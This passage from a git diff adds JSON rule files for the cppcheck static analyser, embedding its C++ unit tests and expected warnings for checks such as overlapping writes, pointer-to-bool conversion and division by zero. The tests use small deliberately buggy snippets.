check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/suspiciousFloatingPointCast.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/suspiciousFloatingPointCast.json new file mode 100644 index 0000000..9ea2d40 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/suspiciousFloatingPointCast.json @@ -0,0 +1,22 @@ +{ + "name": "suspiciousFloatingPointCast", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 39, + "branches": 13, + "apis": 43, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 6105 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n 